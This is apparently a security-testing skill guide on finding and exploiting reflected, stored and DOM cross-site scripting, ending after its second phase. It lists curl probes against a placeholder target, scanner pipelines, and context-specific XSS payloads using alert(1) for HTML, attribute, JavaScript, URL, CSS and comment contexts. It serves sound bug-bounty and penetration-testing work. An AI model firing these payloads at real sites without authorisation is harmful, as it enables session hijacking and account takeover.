xss-reflected-stored-dom

XSS Detection and Exploitation

When to Use

• When testing web applications for JavaScript injection in user inputs
• During bug bounty hunting when you see reflected parameters in page source
• When testing rich text editors, comment systems, or profile fields for stored XSS
• When JavaScript dynamically processes URL fragments or document.location
• When you need to chain XSS with other vulnerabilities for account takeover
• When testing Content Security Policy (CSP) for bypass opportunities

When NOT to use: If the application has no user-facing HTML output (pure API backend) — use API security skills instead.

Prerequisites

• Burp Suite with browser proxy configured
• dalfox or XSStrike for automated XSS scanning
• A blind XSS callback server (bxss.me, xsshunter.com, or self-hosted)
• Browser DevTools for DOM analysis
• Target must render user input somewhere in HTML/JS output

Workflow

Phase 1: Identify Injection Points

# Map all user-controllable inputs that reflect in the response
# Check: URL parameters, form fields, headers (Referer, User-Agent), cookies

# Quick reflection test — inject a unique string and search for it
CANARY="cybsk1337xss"

# Test URL parameters
curl -s "https://target.com/search?q=${CANARY}" | grep -i "$CANARY"

# Test with special characters to check encoding
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep -i "script"

# Automated reflection detection with gxss
echo "https://target.com/search?q=test" | gxss -p cybsk1337

# Use kxss to find reflections with special chars unencoded
echo "https://target.com" | hakrawler | kxss

Phase 2: Context Analysis — Where Does Input Land?

The bypass technique depends entirely on WHERE your input is reflected:

Context 1: Between HTML tags
  <div>YOUR_INPUT_HERE</div>
  → Payload: <script>alert(1)</script>
  → Payload: <img src=x onerror=alert(1)>

Context 2: Inside an HTML attribute
  <input value="YOUR_INPUT_HERE">
  → Payload: " onmouseover="alert(1)
  → Payload: "><script>alert(1)</script>

Context 3: Inside JavaScript
  var x = "YOUR_INPUT_HERE";
  → Payload: ";alert(1)//
  → Payload: '-alert(1)-'

Context 4: Inside a URL/href
  <a href="YOUR_INPUT_HERE">
  → Payload: javascript:alert(1)
  → Payload: data:text/html,<script>alert(1)</script>

Context 5: Inside CSS
  style="color: YOUR_INPUT_HERE"
  → Payload: red;background:url(javascript:alert(1))

Context 6: Inside a comment
  <!-- YOUR_INPUT_HERE -->
  → Payload: --><script>alert(1)</script><!--